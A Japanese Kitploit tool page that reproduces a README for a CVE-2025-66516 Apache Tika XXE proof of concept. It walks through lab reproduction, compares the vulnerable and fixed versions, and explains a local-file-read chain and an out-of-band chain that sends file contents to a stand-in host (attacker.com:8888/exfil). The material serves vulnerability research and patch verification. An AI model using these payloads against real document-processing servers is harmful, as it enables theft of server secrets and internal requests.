Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-66516-POC — CVE-2025-66516 Apache Tika 脆弱性の教育目的のみの POC | Kitploit
ツール/GitHubGitHub/sid6224/cve-2025-66516-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubsid6224/cve-2025-66516-poc

CVE-2025-66516-POC

CVE-2025-66516 Apache Tika 脆弱性の教育目的のみの POC

リポジトリを見る
6128ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

⚠️ 使用前に免責事項をお読みください ⚠️

教育/許可されたテストのみ | ライセンス | セキュリティポリシー


CVE Tika Severity XXE License Platform Java


このPOCについて

このリポジトリは、CVE-2025-66516(Apache Tika 3.2.2より前のバージョンにおけるXML External Entity(XXE)注入脆弱性)の概念実証(POC)エクスプロイトを含んでいます。この脆弱性は、tika-parser-pdf-moduleコンポーネントのXFA(XML Forms Architecture)パーサーに影響を与え、攻撃者が悪意を持って細工されたPDFドキュメントを通じてローカルファイルを読み取り、機密データを外部に流出させることを可能にします。

CVE-2025-66516とは?

CVE-2025-66516は、Apache TikaのPDF解析機能における重大なセキュリティ脆弱性です。埋め込まれたXFAフォームを含むPDFファイルを処理する際、Tika 3.2.2より前のバージョンでは、XMLパーサーにおける外部エンティティ処理を適切に制限できません。これにより、攻撃者は以下を実行できます:

  • サーバーファイルシステムから任意のファイルを読み取る(ローカルファイル開示)
  • 機密データを外部サーバーに流出させる(アウトオブバンドXXE)
  • 内部ネットワークリソースへのリクエストをトリガーしてSSRF攻撃を実行する
  • ドキュメント処理にTikaを利用するアプリケーションのセキュリティ制御をバイパスする

脆弱性の詳細

  • CVE ID: CVE-2025-66516
  • 影響を受けるコンポーネント: Apache Tika tika-parser-pdf-module
  • 影響を受けるバージョン: Apache Tika < 3.2.2
  • 修正バージョン: Apache Tika 3.2.2以降
  • 攻撃ベクトル: XXEペイロードを含むXFAフォームを持つ悪意のあるPDF
  • 影響: 機密性侵害、データ流出、サーバーサイドリクエストフォージェリ(SSRF)
  • CVSS深刻度: 高
  • 関連CVE: CVE-2025-32370(Tikaにおける類似のXXE脆弱性)

リポジトリの内容

このリポジトリには以下が含まれます:

  • gen_poc.py - ローカルファイル読み取りXXE攻撃用の悪意のあるPDFを生成するPythonスクリプト
  • gen_oob_poc.py - アウトオブバンドデータ流出用のPDFを生成するPythonスクリプト
  • http_listener.py - OOB XXEデータ流出を実演するHTTPサーバー
  • DocumentProcessor.java - 脆弱なTika統合を示すサンプルJavaアプリケーション
  • 期待される出力を含む完全なステップバイステップの再現ガイド
  • 脆弱なバージョンと修正済みバージョンの比較技術分析
  • 攻撃フローの説明

キーワード

Apache Tika XXE, CVE-2025-66516 エクスプロイト, Tika セキュリティ脆弱性, XML External Entity 攻撃, PDF XXE 注入, Tika 3.2.1 脆弱性, アウトオブバンド XXE, OOB XXE, セキュリティ研究, ペネトレーションテスト, POC エクスプロイト, 脆弱性開示, XFA パーサー脆弱性, tika-parser-pdf-module, ファイル開示脆弱性, データ流出, SSRF 攻撃, セキュアコーディング, 脆弱性分析, セキュリティテスト, 倫理的ハッキング, 情報セキュリティ, サイバーセキュリティ研究, Apache Tika エクスプロイトコード, XXE ペイロード, PDF セキュリティ, ドキュメントパーサー脆弱性


テスト環境

注: このPOCは以下の環境でテストおよび検証されています:

  • Apache Tika バージョン: 3.2.1(脆弱)および 3.2.2(修正済み)
  • オペレーティングシステム: Linux - Ubuntu 24.04.3 LTS
  • Java バージョン: OpenJDK 17.0.17

POCディレクトリのセットアップ

まず、POC用の専用ディレクトリを作成し、すべてのファイルを整理します。

root@kitploit:~
mkdir apache_tika_poc
cd apache_tika_poc

環境の確認

POCを進める前に、必要な依存関係が環境に存在することを確認します。以下のコマンドでJavaコンパイラ/ランタイムのバージョンとOSの詳細が表示され、脆弱性の再現に重要です。

root@kitploit:~
# Javaバージョンの確認
java -version
javac -version

# OSバージョンの確認
lsb_release -a

期待される出力: Javaバージョン情報(例: OpenJDK 17.x.x)とUbuntuのバージョン詳細(24.04.3 LTS)が表示されます。

Apache Tika JARのダウンロード

脆弱なバージョン(3.2.1)と修正済みバージョン(3.2.2)の両方をダウンロードします。XXE脆弱性が3.2.1に存在し、3.2.2で修正されていることを実証するために両方のバージョンが必要です。tika-app JARは、すべてのTikaパーサーと依存関係を含むオールインワンの実行可能ファイルです。

root@kitploit:~
# 脆弱なTikaバージョンのダウンロード
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

# 修正済みTikaバージョンのダウンロード
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar

期待される出力: 2つのJARファイル(tika-app-3.2.1.jar(約75MB)とtika-app-3.2.2.jar(約75MB))がダウンロードされます。

コンポーネントバージョンの確認

JARマニフェストファイルを調べて正確なバージョンを確認します。これにより、テスト前に正しい脆弱バージョンと修正済みバージョンを入手できたことが確認できます。

root@kitploit:~
# 脆弱なバージョンのマニフェストを確認
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF

# 修正済みバージョンのマニフェストを確認
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF

期待される出力: Implementation-Version: 3.2.1 および 3.2.2 をそれぞれ示すマニフェストファイル。ビルドタイムスタンプやその他のメタデータも表示されます。

コンポーネントのPOMプロパティを一覧表示

プロジェクトオブジェクトモデル(MavenのPOMプロパティはプロジェクトの依存関係、ビルド構成、メタデータを定義します)を見ると、セキュリティアドバイザリで言及されているような独立したtika-parsersは存在しないことがわかります。これはバージョンに関連するものであり、POCの一部であるバージョン3.2.1および3.2.2では、tika-parsersモジュールが個別のパーサーモジュールに置き換えられたものと推測されます。

root@kitploit:~
# 両方のバージョンのすべてのコンポーネント pom.properties ファイルを一覧表示
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika

期待される出力: tika-core、tika-parser-pdf-module、tika-xmp など、すべてのTikaコンポーネントモジュールの一覧。単一の tika-parsers モジュールではなく、個別のパーサーモジュールが表示されます。

Tikaコンポーネントのバージョンを確認

コアTikaコンポーネントのバージョン情報を抽出して表示します。これにより内部モジュール構造を理解し、コアライブラリとPDFパーサーモジュールの両方が期待されるバージョンであることを確認できます。

root@kitploit:~
# tika-core, tika-parser-pdf-module, tika-app のバージョンを 3.2.1 で確認
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

# tika-core, tika-parser-pdf-module, tika-app のバージョンを 3.2.2 で確認
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

期待される出力: 各コンポーネントの version=3.2.1 または version=3.2.2 を示すPOMプロパティが --- で区切られて表示されます。3つのコンポーネント(tika-core、tika-parser-pdf-module、tika-app)すべてが全体のバージョンと一致する必要があります。

XXEエクスプロイトのターゲットファイルを作成

XXE攻撃のターゲットとなる偽のシークレットファイルを作成します。このファイルは、攻撃者がXXE脆弱性を利用して流出させようとする機密データ(APIキーや認証情報など)をシミュレートします。

root@kitploit:~
# ターゲットシークレットファイルの作成
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt

期待される出力: INTERNAL_SERVER_KEY=EXPOSED という文字列を含む fake-secrets.txt ファイルが作成されます。これはXXEエクスプロイトによって読み取られます。

コード分析: 脆弱なバージョンと修正済みバージョンの比較

修正内容を理解するために、両方のバージョンの XMLReaderUtils クラスを逆コンパイルして比較する必要があります。このクラスはXMLパーサーの作成を担当し、脆弱性はXMLエンティティ処理の設定方法に起因します。

root@kitploit:~
# 分析用に脆弱なJARを展開
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..

# 分析用に修正済みJARを展開
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..

# 脆弱なクラスを逆コンパイル
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..

# 修正済みクラスを逆コンパイル
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..

# バージョンを比較
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt

期待される出力: 展開により、逆コンパイルされたクラスファイルを含む2つのディレクトリが作成されます。javap コマンドは XMLReaderUtils クラスのバイトコード逆アセンブリを生成します。diff コマンドは、バージョン間でXMLパーサーの設定方法がどのように異なるかを表示します。

修正箇所の特定

注意深く比較すると、3.2.2ではDoctype定義(DTD)と外部エンティティのサポートが無効になっていることがわかります。これが修正の核心です。

root@kitploit:~
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"

期待される出力: バージョン3.2.2でDTD処理と外部エンティティ解決を無効にする呼び出しが追加されたことを示すdiff出力が表示されます。accessExternalDTD を空文字列に設定し、supportDTD を false に設定する行を探してください。

POC #1: ローカルファイル読み取りXXE

これは、悪意のあるPDFがサーバーのファイルシステムからローカルファイルを読み取る、古典的なXXE攻撃を示します。Pythonスクリプトは、file:///fake-secrets.txt を参照するXXEペイロードを含むXFAフォームが埋め込まれたPDFを生成します。

root@kitploit:~
# 悪意のあるPDFを生成
python3 ./gen_poc.py

# 脆弱なTika 3.2.1でテスト
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf

# 修正済みTika 3.2.2でテスト
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf

期待される出力:

  • gen_poc.py がXXEペイロードを含む cve_2025_66516_poc.pdf を作成
  • 脆弱(3.2.1): Tikaの出力に INTERNAL_SERVER_KEY=EXPOSED が含まれます(シークレットファイルの内容!)
  • 修正済み(3.2.2): Tikaの出力にはシークレットデータが含まれません。XXE攻撃はブロックされます

POC #2: アウトオブバンドXXE

これは、アウトオブバンド(OOB)データ流出を使用した、より高度なXXE攻撃を示します。応答にファイル内容を反映させる代わりに、悪意のあるPDFはTikaにデータを攻撃者が制御する外部サーバーに送信させます。この手法は、アプリケーションが解析されたコンテンツを返さない場合でも機能します。

root@kitploit:~
# アウトオブバンドXXE PDFを生成
python3 ./gen_oob_poc.py

# HTTPリスナーを起動(別のターミナルで)
python3 ./http_listener.py

# 脆弱なTika 3.2.1でOOB XXEをテスト
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf

# 修正済みTika 3.2.2でOOB XXEをテスト
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf

期待される出力:

  • gen_oob_poc.py がOOB XXEペイロードを含む cve-2025-66516_OOB_XXE.pdf を作成
  • http_listener.py がポート8888でサーバーを起動し、受信リクエストを待機
  • 脆弱(3.2.1): HTTPリスナーが2つのリクエストを受信:
    1. /evil.dtd へのGETリクエスト(外部DTDの取得)
    2. /exfil?data=INTERNAL_SERVER_KEY=EXPOSED へのGETリクエスト(データ流出)
  • 修正済み(3.2.2): HTTPリクエストを受信しません。外部エンティティ処理がブロックされます

アプリケーションレベルのテスト

これは、TikaがコマンドラインツールではなくJavaアプリケーション内のライブラリとして使用される、より現実的なシナリオで脆弱性をテストします。DocumentProcessor.java コードは、典型的なアプリケーションがドキュメント解析のためにTikaを統合する方法をシミュレートします。

root@kitploit:~
# 脆弱なTikaでコンパイル
javac -cp tika-app-3.2.1.jar DocumentProcessor.java

# 脆弱なTikaで実行
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

# 修正済みTikaでコンパイル
javac -cp tika-app-3.2.2.jar DocumentProcessor.java

# 修正済みTikaで実行
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

期待される出力:

  • 脆弱(3.2.1): プログラムが以下を出力:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [INTERNAL_SERVER_KEY=EXPOSEDを含むテキスト]
    ⚠️  SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
    
  • 修正済み(3.2.2): プログラムが以下を出力:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [シークレットデータを含まないテキスト]
    ✓ No XXE vulnerability detected.
    

クリーンアップ

分析フェーズで作成された一時ディレクトリとファイルを削除し、ワークスペースをクリーンに保ちます。

root@kitploit:~
# 展開ディレクトリを削除
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt

期待される出力: ディレクトリと逆コンパイルされたテキストファイルが削除されます。エラーがない限り、出力は表示されません。


攻撃フローの理解

ローカルファイルシステムXXE攻撃シーケンス

  1. PDFにDOCTYPE+ENTITY宣言を含むXFAストリームが含まれる
  2. TikaがXFAを検出 → XFAExtractorを呼び出す
  3. XFAExtractorがXMLReaderUtilsを介してXMLパーサーを作成
  4. パーサーがDOCTYPEを処理し、xxeエンティティを登録
  5. パーサーが&xxe;参照を検出
  6. パーサーがエンティティを解決 → file:///fake-secrets.txt を読み取る
  7. ファイルの内容がXMLの&xxe;の位置に挿入される
  8. XFAExtractorがフィールド値(=ファイル内容)を抽出
  9. アプリケーションがTikaの出力でシークレットデータを受信

アウトオブバンド(OOB)XXE攻撃シーケンス

  1. PDFにパラメータエンティティ(%file、%dtd)を宣言するDOCTYPEを含むXFAが含まれる
  2. TikaがXFAを検出 → XFAExtractorを呼び出す
  3. XFAExtractorがXMLReaderUtilsを介してXMLパーサーを作成
  4. パーサーがDOCTYPEを処理し、%fileエンティティを登録 → file:///fake-secrets.txt を指す
  5. パーサーが%dtd;参照を検出 → http://attacker.com:8888/evil.dtd を指す
  6. パーサーがevil.dtdを取得するために攻撃者のサーバーにHTTP GETリクエストを送信
  7. 攻撃者のHTTPサーバーがリクエストを受信し、evil.dtdの内容を提供
  8. パーサーがevil.dtdを処理:&send定義を含む%payloadエンティティを定義
  9. evil.dtdが%payloadを展開 → 流出URLを持つ&sendエンティティを作成
  10. &sendエンティティに含まれる: http://attacker.com:8888/exfil?data=%file;
  11. パーサーが&send URL内の%file;を展開 → ファイル内容が挿入される
  12. パーサーが&send;エンティティを解決 → 流出エンドポイントにHTTP GETを送信
  13. 攻撃者のHTTPサーバーがファイル内容を含むURLパラメータ付きの/exfilリクエストを受信
  14. 攻撃者がURLパラメータからデータを抽出し、シークレットファイルの内容を記録
  15. アプリケーションの出力は無関係 → データは既に攻撃者のサーバーに流出済み

参考文献

公式セキュリティアドバイザリ

  • Apache Tika セキュリティページ: https://tika.apache.org/security.html
  • NVD - CVE-2025-66516: https://nvd.nist.gov/vuln/detail/CVE-2025-66516
  • MITRE CVE データベース: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66516
  • Apache Tika GitHub: https://github.com/apache/tika

関連脆弱性

  • CVE-2025-54988 - CVE-2025-66516が置き換える以前のCVE識別子(同じ脆弱性、番号変更)
  • CVE-2025-32370 - Apache Tikaにおける類似のXXE脆弱性
  • OWASP XXEガイド: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

技術リソース

  • Apache Tika ドキュメント: https://tika.apache.org/
  • XXE攻撃テクニック: https://portswigger.net/web-security/xxe
  • PDF XFA仕様: Adobe XML Forms Architecture (XFA) Specification
  • Upwind Security 分析: https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516 (アプリケーションコード参照)

責任ある開示

セキュリティ脆弱性を発見した場合は、責任を持って報告してください:

  • Apache セキュリティチーム: [email protected]
  • Apache Tika チーム: https://tika.apache.org/mail-lists.html

タグ

apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration


ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。詳細は LICENSE ファイルをご覧ください。

教育目的のみ - このPOCは教育目的および許可されたセキュリティテストのみを目的としています。所有していない、またはテストする許可がないシステムに対する不正使用は違法です。


コントリビューション

このPOCまたはドキュメントの改善のためのコントリビューションを歓迎します!コントリビューションが以下の点を確実に守ってください:

  • 責任ある開示の慣行に従う
  • 適切な免責事項を含める
  • 教育的デモンストレーションを超えた悪意のあるコードを含めない
  • 教育的価値に焦点を当てる

謝辞

  • この脆弱性の修正に取り組んだApache Tikaセキュリティチーム
  • 責任ある脆弱性開示の慣行を実践するセキュリティ研究コミュニティ
  • このリポジトリへのコントリビューター

最終更新日: 2025年12月

ツールをダウンロード
ssrf
oob-xxe
file-disclosure
secure-coding
vulnerability-analysis
security-testing
exploit-development
red-team
blue-team
appsec
document-parsing
java-security